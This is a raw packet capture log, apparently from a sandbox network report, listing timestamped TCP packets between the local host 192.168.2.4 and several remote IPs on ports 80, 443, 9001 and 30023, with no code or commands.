Jan 7, 2024 05:29:53.369751930 CET	443	49750	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:53.369837999 CET	49750	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:53.371068954 CET	49750	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:53.371077061 CET	443	49750	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:53.371393919 CET	443	49750	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:53.372926950 CET	49750	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:53.373043060 CET	49750	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:53.373048067 CET	443	49750	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:53.381714106 CET	49747	30023	192.168.2.4	185.220.101.23
Jan 7, 2024 05:29:53.399890900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.400088072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.400132895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.400192976 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.400255919 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.400295019 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.400304079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.400360107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.400405884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.402410984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.402472019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.402523041 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.469363928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.469454050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.469505072 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.537728071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.537785053 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.537848949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.541380882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.541484118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.541538000 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.541788101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.541886091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.541930914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.545399904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.545478106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.545526981 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.548655987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.548693895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.548743963 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.550403118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.550753117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.550800085 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.551031113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.551090956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.551129103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.551143885 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.551270962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.551318884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.552504063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.552553892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.552598953 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.554157019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.554203987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.554260015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.555628061 CET	30023	49747	185.220.101.23	192.168.2.4
Jan 7, 2024 05:29:53.594055891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.594075918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.594094992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.594116926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.594132900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.594158888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.594185114 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.594187021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.594223022 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.596267939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.596285105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.596324921 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.663997889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.664093018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.664155006 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.732686043 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.732753038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.732812881 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.736398935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.736479044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.736534119 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.736649990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.736705065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.736742973 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.740561008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.740639925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.740685940 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.743623972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.743741035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.743912935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.745887041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.745989084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.746040106 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.746120930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.746180058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.746217966 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.746285915 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.746364117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.746403933 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.747901917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.748001099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.748049021 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.749612093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.749664068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.749708891 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.789448023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.789474010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.789525986 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.789570093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.789598942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.789649963 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.789679050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.789753914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.789797068 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.791507006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.791524887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.791578054 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.802584887 CET	443	49750	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:53.802687883 CET	443	49750	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:53.802752018 CET	49750	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:53.808378935 CET	49750	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:53.808403015 CET	443	49750	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:53.822957993 CET	49752	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:53.823039055 CET	443	49752	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:53.823112011 CET	49752	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:53.823838949 CET	49752	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:53.823857069 CET	443	49752	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:53.859401941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.859409094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.859466076 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.927014112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.927037001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.927094936 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.930208921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.930253029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.930303097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.930305004 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.930361986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.930402994 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.934575081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.934654951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.934704065 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.937541008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.937560081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.937612057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.939640999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.939686060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.939735889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.939779043 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.939945936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.939990044 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.939995050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.940093994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.940133095 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.941832066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.941905022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.941977978 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.943972111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.944152117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.944202900 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.983283997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.983300924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.983357906 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.983371973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.983419895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.983465910 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.983825922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.983839989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.983885050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:53.986294985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.986382961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:53.986426115 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.011560917 CET	443	49752	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:54.011627913 CET	49752	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:54.017220020 CET	49752	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:54.017230034 CET	443	49752	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:54.017496109 CET	443	49752	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:54.018852949 CET	49752	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:54.019162893 CET	49752	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:54.019169092 CET	443	49752	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:54.053263903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.053325891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.053365946 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.059828043 CET	49747	30023	192.168.2.4	185.220.101.23
Jan 7, 2024 05:29:54.106693029 CET	49743	9001	192.168.2.4	78.46.174.72
Jan 7, 2024 05:29:54.120815992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.120887995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.120927095 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.124102116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.124188900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.124231100 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.124341011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.124440908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.124480963 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.128367901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.128417969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.128454924 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.131215096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.131227970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.131274939 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.133318901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.133342981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.133400917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.133514881 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.133542061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.133582115 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.133600950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.133641958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.133675098 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.135602951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.135617018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.135656118 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.137780905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.137795925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.137840033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.177040100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.177109957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.177124977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.177136898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.177192926 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.177333117 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.177371025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.177423954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.177505016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.179981947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.179996014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.180267096 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.233526945 CET	30023	49747	185.220.101.23	192.168.2.4
Jan 7, 2024 05:29:54.246942997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.246963024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.247028112 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.314994097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.315103054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.315140963 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.318175077 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.318284988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.318331957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.318346024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.318413019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.318470001 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.322124004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.322329044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.322369099 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.324944019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.325006008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.325048923 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.326977015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.327034950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.327095985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.327100992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.327193022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.327238083 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.327253103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.327313900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.327347994 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.329334974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.329394102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.329869032 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.331506968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.331521988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.331602097 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.371809959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.371861935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.371906042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.371915102 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.371967077 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.372080088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.372301102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.372409105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.372503996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.374910116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.374986887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.375030994 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.442995071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.443012953 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.443063974 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.450824022 CET	443	49752	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:54.450927973 CET	443	49752	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:54.450994015 CET	49752	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:54.453821898 CET	49752	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:54.453856945 CET	443	49752	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:54.467848063 CET	49753	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:54.467885971 CET	443	49753	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:54.467998028 CET	49753	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:54.468461037 CET	49753	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:54.468477011 CET	443	49753	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:54.511665106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.511683941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.511802912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.513329983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.513406992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.513477087 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.513895988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.513962984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.516643047 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.519418955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.519449949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.519484997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.519504070 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.521811008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.521995068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.522039890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.522053957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.522059917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.522069931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.522099018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.522109032 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.522131920 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.523849964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.523865938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.523921013 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.525623083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.525657892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.525715113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.565825939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.565840006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.565856934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.565876961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.565891027 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.565928936 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.565994024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.566015005 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.566034079 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.566056013 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.568615913 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.568636894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.568662882 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.568680048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.637000084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.637084961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.637130022 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.655497074 CET	443	49753	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:54.655570030 CET	49753	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:54.656809092 CET	49753	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:54.656820059 CET	443	49753	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:54.657071114 CET	443	49753	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:54.658281088 CET	49753	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:54.658387899 CET	49753	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:54.658392906 CET	443	49753	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:54.705815077 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.705868959 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.705873013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.705918074 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.707320929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.707335949 CET	80	49735	91.215.85.120	192.168.2.4
